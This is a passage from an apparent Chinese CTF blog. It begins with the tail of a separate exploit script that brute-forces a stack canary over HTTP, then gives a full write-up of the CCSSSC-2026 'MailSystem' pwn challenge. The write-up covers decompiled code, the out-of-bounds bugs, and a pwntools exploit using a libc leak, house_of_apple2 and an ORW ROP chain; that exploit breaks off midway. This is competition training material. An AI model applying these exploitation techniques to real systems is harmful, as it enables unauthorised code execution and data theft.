leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

canary = b'\x00'
stack = b''

def url_encode(data):
 if isinstance(data, str):
 data = data.encode()
 return ''.join(f'%{b:02x}' for b in data).encode()

def build_req(method, path, headers=None, body=b''):
 request = f'{method} {path} HTTP/1.1\r\n'.encode()
 if headers is None:
 headers = {}
 if body and 'Content-Length' not in headers:
 headers['Content-Length'] = len(body)
 for k, v in headers.items():
 request += f'{k}: {v}\r\n'.encode()
 request += b'\r\n'
 request += body
 return request

def config(name, ip, subnet_mask, gateway):
 global p
 p = conn()
 s(build_req('POST', '/config', {
 'Cookie': 'token='
 }, b'route_name=' + name + b'&ip=' + ip + b'&subnet_mask=' + subnet_mask + b'&gateway=' + gateway))

def explode_canary():
 global p, canary
 for _ in range(7):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(canary + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 canary += p8(i)
 log.success(f'Found canary byte: {i:#x}')
 p.close()
 break
 p.close()

def explode_stack():
 global p, stack
 for _ in range(6):
 for i in range(0x100):
 payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(stack + p8(i))
 config(b'', b'', b'', payload)
 if b'500 Internal Server Error' not in ru(b'\r\n\r\n'):
 stack += p8(i)
 log.success(f'Found stack byte: {i:#x}')
 p.close()
 break
 p.close()

send_page_addr = 0x402BF1

explode_canary()
canary = u64(canary)
log.success(f'Leaked canary: {hex(canary)}')
explode_stack()
stack = uu64(stack) - 0x170
log.success(f'Leaked stack address: {hex(stack)}')
pause()

payload = b'A' * 0x28 + url_encode(p64(canary)) + b'A' * 0x10 + url_encode(p64(stack + 0x40)) + url_encode(p64(send_page_addr))
fake_stack = flat({
 0x00: stack + 0x20,
 0x08: p32(200),
 0x0C: p32(4),
 0x10: b'flag\x00',
}, filler=b'\x00')
payload += url_encode(fake_stack)
config(b'', b'', b'', payload)
itr()

CCSSSC-2026-pwn 题解

Wed, 25 Mar 2026 14:04:00 +0000

初赛

MailSystem

唯一的 pwn

checksec

1
2
3
4
5
6
7
8


[*] '/home/kali/Desktop/attachment/pwn'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

保护全开

IDA

程序比较复杂，需要耐心分析，是一个简单的邮件系统

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
 int v3; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v4; // [rsp+8h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 init();
 while ( 1 )
 {
 while ( 1 )
 {
 menu(a1, a2);
 v3 = 0;
 a2 = (char **)&v3;
 a1 = "%d";
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 a1 = "Invalid input!";
 puts("Invalid input!");
 }
 if ( v3 == 3 )
 {
 puts("Goodbye!");
 exit(0);
 }
 if ( v3 > 3 )
 {
LABEL_13:
 a1 = "Invalid choice!";
 puts("Invalid choice!");
 }
 else if ( v3 == 1 )
 {
 login();
 }
 else
 {
 if ( v3 != 2 )
 goto LABEL_13;
 register();
 }
 }
}

1
2
3
4
5
6
7
8


int menu()
{
 puts("Welcome to the mail system!");
 puts("1. login account");
 puts("2. register account");
 puts("3. exit");
 return printf("Your choice: ");
}

能注册和登录，可以正常退出

init

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


int init()
{
 char *v0; // rax
 int i; // [rsp+4h] [rbp-Ch]
 FILE *stream; // [rsp+8h] [rbp-8h]

 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 for ( i = 0; i <= 11; ++i )
 this_is_time[34 * i] = time(0);
 this_is_admin = malloc(0x400u);
 memset(this_is_admin, 0, 0x400u);
 if ( !this_is_admin )
 {
 puts("malloc error");
 exit(-1);
 }
 v0 = (char *)this_is_admin + 50;
 *(_DWORD *)((char *)this_is_admin + 50) = 'imda';
 *((_WORD *)v0 + 2) = 'n';
 stream = fopen("/dev/urandom", "rb");
 if ( !stream )
 {
 puts("fopen error");
 exit(-1);
 }
 fread((char *)this_is_admin + 0x68, 1u, 0x10u, stream);
 return fclose(stream);
}

初始化管理员账号，管理员密码随机

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


unsigned __int64 login()
{
 int i; // [rsp+Ch] [rbp-64h]
 char *v2; // [rsp+18h] [rbp-58h]
 char s2[32]; // [rsp+20h] [rbp-50h] BYREF
 char v4[40]; // [rsp+40h] [rbp-30h] BYREF
 unsigned __int64 v5; // [rsp+68h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("Input your name: ");
 __isoc99_scanf("%31s", s2);
 printf("Input your password: ");
 __isoc99_scanf("%31s", v4);
 if ( (unsigned int)admin_check(s2, v4) )
 {
 admin_panel();
 }
 else
 {
 for ( i = 0; i <= 11; ++i )
 {
 if ( user_table[i] )
 {
 v2 = (char *)(user_table[i] + 704LL);
 if ( !strcmp((const char *)(user_table[i] + 664LL), s2) && !strcmp(v2, v4) )
 {
 printf("Welcome back, %s!\n", s2);
 putchar(10);
 mail_panel(user_table[i]);
 return v5 - __readfsqword(0x28u);
 }
 }
 }
 puts("Login failed! Invalid username or password.");
 putchar(10);
 }
 return v5 - __readfsqword(0x28u);
}

登录逻辑

register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


unsigned __int64 register()
{
 int v1; // [rsp+Ch] [rbp-54h]
 char s1[32]; // [rsp+10h] [rbp-50h] BYREF
 char src[40]; // [rsp+30h] [rbp-30h] BYREF
 unsigned __int64 v4; // [rsp+58h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v1 = add_user((__int64)user_table);
 if ( v1 != -1 )
 {
 printf("Input your name: ");
 __isoc99_scanf("%31s", s1);
 if ( !strcmp(s1, "admin") )
 {
 puts("Username illegal!");
 putchar(10);
 free((void *)user_table[v1]);
 user_table[v1] = 0;
 }
 else
 {
 strcpy((char *)(user_table[v1] + 0x298LL), s1);
 printf("Input your password: ");
 __isoc99_scanf("%31s", src);
 strcpy((char *)(user_table[v1] + 0x2C0LL), src);
 printf("Registered user: %s\n", s1);
 puts("Registration successful!");
 putchar(10);
 }
 }
 return v4 - __readfsqword(0x28u);
}

注册逻辑

admin_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


__int64 __fastcall admin_check(const char *a1, const char *a2)
{
 if ( strcmp(a1, (const char *)this_is_admin + 0x32) )
 return 0;
 if ( !strncmp(a2, (const char *)this_is_admin + 0x68, 0x10u) )
 {
 puts("Welcome admin!");
 return 1;
 }
 else
 {
 puts("Wrong password for admin!");
 return 0;
 }
}

检测管理员账号

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


unsigned __int64 admin_panel()
{
 int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 puts("=== Admin Menu ===");
 puts("1. Change user info");
 puts("2. Delete user");
 puts("3. Mail to user");
 puts("4. Mail user to user");
 puts("5. Logout");
 printf("Your choice: ");
 v1 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v1) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 switch ( v1 )
 {
 case 1:
 change_user_info();
 break;
 case 2:
 delete_user();
 break;
 case 3:
 mail_to_user();
 break;
 case 4:
 mail_user_to_user();
 break;
 case 5:
 puts("Logging out as admin...");
 putchar(10);
 return v2 - __readfsqword(0x28u);
 default:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
}

管理员面板

mail_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


unsigned __int64 __fastcall mail_panel(size_t *a1)
{
 int v2; // [rsp+10h] [rbp-10h] BYREF
 int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 mail_menu();
 v2 = 0;
 if ( (unsigned int)__isoc99_scanf("%d", &v2) == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 putchar(10);
 }
 if ( v2 == 4 )
 break;
 if ( v2 > 4 )
 goto LABEL_16;
 switch ( v2 )
 {
 case 3:
 v3 = send_mail(a1);
 if ( v3 == 1 )
 return v4 - __readfsqword(0x28u);
 break;
 case 1:
 write_mail((__int64)a1);
 break;
 case 2:
 read_mail((__int64)a1);
 break;
 default:
LABEL_16:
 puts("Invalid choice!");
 putchar(10);
 break;
 }
 }
 puts("Logging out...");
 putchar(10);
 return v4 - __readfsqword(0x28u);
}

用户面板

add_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall add_user(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 int i; // [rsp+18h] [rbp-8h]
 int j; // [rsp+1Ch] [rbp-4h]

 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }
 *(_QWORD *)(8LL * j + a1) = malloc(0x410u);
 memset(*(void **)(8LL * j + a1), 0, 0x410u);
 if ( !*(_QWORD *)(8LL * j + a1) )
 {
 perror("malloc failed");
 exit(-1);
 }
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x278LL) = j + 1;
 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) = 1;
 return (unsigned int)j;
 }
 else
 {
 puts("User full!");
 return 0xFFFFFFFFLL;
 }
}

添加用户，特定情况下存在正向越界写

mail_user_to_user

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


unsigned __int64 mail_user_to_user()
{
 int v1; // [rsp+Ch] [rbp-34h] BYREF
 int v2; // [rsp+10h] [rbp-30h] BYREF
 int v3; // [rsp+14h] [rbp-2Ch] BYREF
 size_t n; // [rsp+18h] [rbp-28h]
 size_t v5; // [rsp+20h] [rbp-20h]
 void *v6; // [rsp+28h] [rbp-18h]
 void *src; // [rsp+30h] [rbp-10h]
 unsigned __int64 v8; // [rsp+38h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 printf("Enter source user ID (whose mail to forward): (1-12) ");
 if ( (unsigned int)__isoc99_scanf("%d", &v1) != 1 )
 {
 puts("Invalid source user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 printf("Enter destination user ID (1-12): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid destination user ID!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v1 > 12 )
 {
 puts("Source user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v1 - 1] )
 {
 if ( v2 > 12 )
 {
 puts("Destination user ID out of range!");
 putchar(10);
 }
 else if ( user_table[v2 - 1] )
 {
 if ( !*(_QWORD *)(user_table[v2 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v2),
 __isoc99_scanf(" %c", &v3),
 (_BYTE)v3 == 0x79)
 || (_BYTE)v3 == 0x59 )
 {
 if ( v1 > 12 )
 {
ret:
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 puts("Which mail would you like to forward?");
 puts("1. User's draft");
 puts("2. User's inbox mail");
 printf("Your choice: ");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 goto ret;
 }
 if ( v2 <= 12 )
 *(_QWORD *)(user_table[v2 - 1] + 0x308LL) = 1;
 if ( v3 == 1 )
 {
 if ( v2 <= 12 )
 {
 n = *(_QWORD *)(user_table[v1 - 1] + 0x100LL);
 if ( n > 0x100 )
 n = 256;
 src = (void *)(user_table[v1 - 1] + 0x110LL);
 memcpy((void *)user_table[v2 - 1], src, n);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = n;
 }
 }
 else
 {
 if ( v3 != 2 )
 {
 puts("Invalid choice!");
 putchar(10);
 return v8 - __readfsqword(0x28u);
 }
 if ( v2 <= 12 )
 {
 v5 = *(_QWORD *)(user_table[v1 - 1] + 0x210LL);
 if ( v5 > 0x100 )
 v5 = 0x100;
 v6 = (void *)user_table[v1 - 1];
 memcpy((void *)user_table[v2 - 1], v6, v5);
 *(_QWORD *)(user_table[v2 - 1] + 0x210LL) = v5;
 }
 }
 printf("Mail forwarded from index %d to index %d!\n", v1, v2);
 }
 else
 {
 puts("Forwarding cancelled.");
 putchar(10);
 }
 }
 else
 {
 printf("Destination user %d does not exist!\n", v2);
 putchar(10);
 }
 }
 else
 {
 printf("Source user %d does not exist!\n", v1);
 putchar(10);
 }
 return v8 - __readfsqword(0x28u);
}

管理员以某一用户名义发邮件给另一名用户，存在越界读写

mail_menu

1
2
3
4
5
6
7
8


int mail_menu()
{
 puts("1. Write mail");
 puts("2. Read mail");
 puts("3. Send mail");
 puts("4. Logout");
 return printf("Your choice: ");
}

用户菜单

write_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 __fastcall write_mail(__int64 a1)
{
 int v2; // [rsp+18h] [rbp-118h] BYREF
 int v3; // [rsp+1Ch] [rbp-114h]
 _BYTE buf[264]; // [rsp+20h] [rbp-110h] BYREF
 unsigned __int64 v5; // [rsp+128h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 printf("How many bytes do you want to write? (1-%d): ", 256);
 if ( (unsigned int)__isoc99_scanf("%d", &v2) != 1 )
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
LABEL_16:
 putchar(10);
 return v5 - __readfsqword(0x28u);
 }
 if ( v2 > 0 && v2 <= 256 )
 {
 printf("Write your mail content (max %d bytes):\n", v2);
 while ( getchar() != 10 )
 ;
 v3 = read(0, buf, v2);
 if ( v3 <= 0 )
 {
 puts("Failed to read input!");
 }
 else
 {
 memcpy((void *)(a1 + 0x110), buf, v3);
 *(_QWORD *)(a1 + 0x100) = v3;
 if ( v3 > 0xFF )
 *(_BYTE *)(a1 + 0x20F) = 0;
 else
 *(_BYTE *)(v3 + 0x110LL + a1) = 0;
 *(_QWORD *)(a1 + 0x310) = 1;
 puts("Draft saved!");
 }
 goto LABEL_16;
 }
 printf("Write size must be between 1 and %d bytes.\n", 256);
 putchar(10);
 return v5 - __readfsqword(0x28u);
}

写邮件

read_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


unsigned __int64 __fastcall read_mail(__int64 a1)
{
 int v2; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 while ( 1 )
 {
 read_menu();
 if ( (unsigned int)__isoc99_scanf("%d") == 1 )
 break;
 while ( getchar() != 10 )
 ;
 puts("Invalid input!");
 }
 if ( v2 == 3 )
 break;
 if ( v2 > 3 )
 goto LABEL_17;
 if ( v2 == 1 )
 {
 if ( *(_QWORD *)(a1 + 0x310) )
 {
 puts("Your saved draft:");
 puts((const char *)(a1 + 0x110));
 putchar(10);
 }
 else
 {
 puts("No saved draft found.\n");
 }
 }
 else if ( v2 == 2 )
 {
 if ( *(_QWORD *)(a1 + 0x308) )
 {
 puts("Inbox (new mail):");
 puts((const char *)a1);
 *(_QWORD *)(a1 + 0x308) = 0;
 putchar(10);
 }
 else
 {
 puts("No new mail in inbox.\n");
 }
 }
 else
 {
LABEL_17:
 puts("Invalid choice!\n");
 }
 }
 putchar(10);
 return v3 - __readfsqword(0x28u);
}

读邮件

send_mail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


__int64 __fastcall send_mail(size_t *a1)
{
 char v2; // [rsp+1Bh] [rbp-25h] BYREF
 int v3; // [rsp+1Ch] [rbp-24h] BYREF
 size_t n; // [rsp+20h] [rbp-20h]
 size_t v5; // [rsp+28h] [rbp-18h]
 _QWORD *v6; // [rsp+30h] [rbp-10h]
 unsigned __int64 v7; // [rsp+38h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 puts("Who do you want to send the mail to? (input user ID 1-12)");
 if ( (unsigned int)__isoc99_scanf("%d", &v3) == 1 )
 {
 if ( v3 > 0 && v3 <= 12 )
 {
 if ( user_table[v3 - 1] )
 {
 if ( a1[0x62] )
 {
 v5 = a1[0x4F];
 v6 = &this_is_time[34 * v5 - 34];
 ++*((_DWORD *)v6 + 2);
 if ( (unsigned int)secure_check(v5) )
 {
 return 1;
 }
 else if ( !*(_QWORD *)(user_table[v3 - 1] + 0x308LL)
 || (printf("Warning: User %d already has unread mail. Overwrite? (y/n): ", v3),
 __isoc99_scanf(" %c", &v2),
 v2 == 121)
 || v2 == 89 )
 {
 n = a1[32];
 if ( n > 0x100 )
 n = 256;
 *(_QWORD *)(user_table[v3 - 1] + 0x308LL) = 1;
 memcpy((void *)user_table[v3 - 1], a1 + 34, n);
 *(_QWORD *)(user_table[v3 - 1] + 0x210LL) = n;
 a1[98] = 0;
 printf("Mail sent to user %d!\n", v3);
 putchar(10);
 return 0;
 }
 else
 {
 puts("Mail sending cancelled.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("No draft to send! Please write a mail first.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("User does not exist!");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid user ID! Must be between 1 and 12.");
 putchar(10);
 return 0;
 }
 }
 else
 {
 puts("Invalid input!");
 while ( getchar() != 10 )
 ;
 putchar(10);
 return 0;
 }
}

发送邮件

read_menu

1
2
3
4
5
6
7
8


int read_menu()
{
 puts("What would you like to read?");
 puts("1. My saved draft");
 puts("2. Inbox (mails sent to me)");
 puts("3. Back to main menu");
 return printf("Your choice: ");
}

读邮件面板

secure_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


__int64 __fastcall secure_check(int a1)
{
 time_t v2; // [rsp+10h] [rbp-20h]
 time_t *v3; // [rsp+18h] [rbp-18h]
 _QWORD *v4; // [rsp+20h] [rbp-10h]
 FILE *stream; // [rsp+28h] [rbp-8h]

 v2 = time(0);
 v3 = &this_is_time[34 * a1 - 34];
 if ( v2 - *v3 > 10 || *((int *)v3 + 2) <= 4 )
 {
 if ( v2 - *v3 > 10 )
 {
 *((_DWORD *)v3 + 2) = 0;
 *v3 = v2;
 }
 return 0;
 }
 else
 {
 printf("\x1B[1;31;40m[SECURITY] Risk detected for user %d! Account banned.\x1B[0m\n", a1);
 if ( a1 > 0 && a1 <= 12 && user_table[a1 - 1] )
 {
 v4 = (_QWORD *)user_table[a1 - 1];
 v4[0x53] = 'lagelli';
 stream = fopen("/dev/urandom", "rb");
 if ( stream )
 {
 fread(v4 + 88, 1u, 0x10u, stream);
 fclose(stream);
 }
 v4[0x4F] = 0;
 puts("Account has been banned!");
 puts("Returning to login menu...\n");
 }
 return 1;
 }
}

安全检测，发送频率过高会封号

bss

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


.bss:0000000000007020 ; ===========================================================================
.bss:0000000000007020
.bss:0000000000007020 ; Segment type: Uninitialized
.bss:0000000000007020 ; Segment permissions: Read/Write
.bss:0000000000007020 _bss segment align_32 public 'BSS' use64
.bss:0000000000007020 assume cs:_bss
.bss:0000000000007020 ;org 7020h
.bss:0000000000007020 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000007020 public stdout
.bss:0000000000007020 ; FILE *stdout
.bss:0000000000007020 stdout dq ? ; DATA XREF: LOAD:00000000000006A0↑o
.bss:0000000000007020 ; init+2A↑r
.bss:0000000000007020 ; Copy of shared data
.bss:0000000000007028 align 10h
.bss:0000000000007030 public stdin
.bss:0000000000007030 ; FILE *stdin
.bss:0000000000007030 stdin dq ? ; DATA XREF: LOAD:00000000000006D0↑o
.bss:0000000000007030 ; init+C↑r
.bss:0000000000007030 ; Copy of shared data
.bss:0000000000007038 align 20h
.bss:0000000000007040 public stderr
.bss:0000000000007040 ; FILE *stderr
.bss:0000000000007040 stderr dq ? ; DATA XREF: LOAD:0000000000000700↑o
.bss:0000000000007040 ; init+48↑r
.bss:0000000000007040 ; Copy of shared data
.bss:0000000000007048 byte_7048 db ? ; DATA XREF: sub_13E0+4↑r
.bss:0000000000007048 ; sub_13E0+2C↑w
.bss:0000000000007049 align 20h
.bss:0000000000007060 ; _QWORD user_table[12]
.bss:0000000000007060 user_table dq 0Ch dup(?) ; DATA XREF: secure_check+A7↑o
.bss:0000000000007060 ; secure_check+CB↑o ...
.bss:00000000000070C0 ; void *this_is_admin
.bss:00000000000070C0 this_is_admin dq ? ; DATA XREF: init+BC↑w
.bss:00000000000070C0 ; init+C3↑r ...
.bss:00000000000070C8 align 20h
.bss:00000000000070E0 ; _QWORD this_is_time[408]
.bss:00000000000070E0 this_is_time dq 198h dup(?) ; DATA XREF: secure_check+34↑o
.bss:00000000000070E0 ; init+9D↑o ...
.bss:00000000000070E0 _bss ends
.bss:00000000000070E0

bss 结构

攻击思路

难点是梳理程序流程和内存的结构以及识别漏洞点

管理员内存结构

管理员内存大小为 0x400

1
2


0x32: 名称
0x68: 密码

用户内存结构

用户内存大小为 0x410

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


0x0-0x100: 0x100 收件
0x100-0x108: 0x8 草稿大小
0x110-0x210: 0x100 草稿
0x210-0x218: 0x8 收件大小
0x278-0x280: 0x8 编号，被 ban 清零
0x298-0x2B8: 0x20 用户名
0x2C0-0x2E8: 0x28 密码
0x308-0x310: 0x8 收件标记
0x310-0x318: 0x8 草稿标记
0x388-0x390: 0x8 存在标记

漏洞点利用

在注册时有这样的逻辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }

这里 j 在出 for 循环时可以为 12 ，这样的话可以从用户表越界到管理员表，把管理员的名称和密码都清空，这样就可以直接登录管理员账号了

但是要使 j 为 12 ，就要绕过上面对 v2 的大小检验，这要求 *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) 为 0 而 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL 不为零，该情况发生的条件是用户被 ban

而要想用户被 ban ，根据 secure_check 的逻辑只要在 10 秒内发送超过四次邮件即可

于是我们每注册一个用户就 ban 一个，直到填满用户表使溢出发生后即可成为管理员

成为管理员后的 mail_user_to_user 中有反向越界读写，可以通过标准流指针泄露 libc 基址，然后通过往 stderr 里面发送 fake_io 信件打 house_of_apple2 ，走 setcontext 去跑 read 再写入 orw_chain

比赛时最后十分钟过了本地但是远程炸了，淦，好像是交互时间过长的问题。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('192.0.100.2', 9999)

libc = ELF('./libc.so.6')

### login

def login(name, pwd):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def register(name, pwd):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def myexit():
	io.sendlineafter(b'choice: ', b'3')

### user

def writemail(bt, content):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'(1-256): ', str(bt).encode())
	io.sendlineafter(b'bytes):\n', content)

def readmail(choice):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'choice: ', str(choice).encode())

def back2menu():
	io.sendlineafter(b'choice: ', b'3')

def sendmail(id, rep = False):
	io.sendlineafter(b'choice: ', b'3')
	io.sendlineafter(b'(input user ID 1-12)', str(id).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')

def logout():
	io.sendlineafter(b'choice: ', b'4')

### admin

def user2user(src, dst, choice, rep = False):
	io.sendlineafter(b'choice: ', b'4')
	io.sendlineafter(b': (1-12) ', str(src).encode())
	io.sendlineafter(b'(1-12): ', str(dst).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')
	io.sendlineafter(b'choice: ', str(choice).encode())

def admin_logout():
	io.sendlineafter(b'choice: ', b'5')

def attack():
	for i in range(12):		# admin
		register(b'AAA' + str(i).encode(), b'BBB')
		login(b'AAA' + str(i).encode(), b'BBB')
		if i >= 7:
			writemail(1, b'C')
			sendmail(i + 1)
			for _ in range(3):
				writemail(1, b'C')
				sendmail(i + 1, True)
			writemail(1, b'C')
			sendmail(i + 1)
		logout()
	register(b'AAA' + str(13).encode(), b'BBB')

	login(b'\x00', b'\x00')
	user2user(-3, 1, 1)
	admin_logout()

	login(b'AAA0', b'BBB')
	readmail(2)
	io.recvuntil(b'(new mail):\n')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b803
	log.info(f'libc = {hex(libc.address)}')
	back2menu()
	logout()

	stderr = libc.sym['_IO_2_1_stderr_']

	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f357
	syscall_ret = libc.address + 0x91316

	read_rop_chain = flat([
		0,
		pop_rsi_ret,
		stderr + 0x68,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret
	])

	fake_io = flat({
			0x0: 0,
			0x10: '/flag\x00',
			0x28: libc.sym['setcontext'] + 0x3d,
			0x30: read_rop_chain,
			0x70: stderr + 0x30, # RSP
			0X78: pop_rdi_ret, # RIP
			0x88: stderr,
			0xA0: stderr - 0x30,
			0xB0: stderr - 0x40,
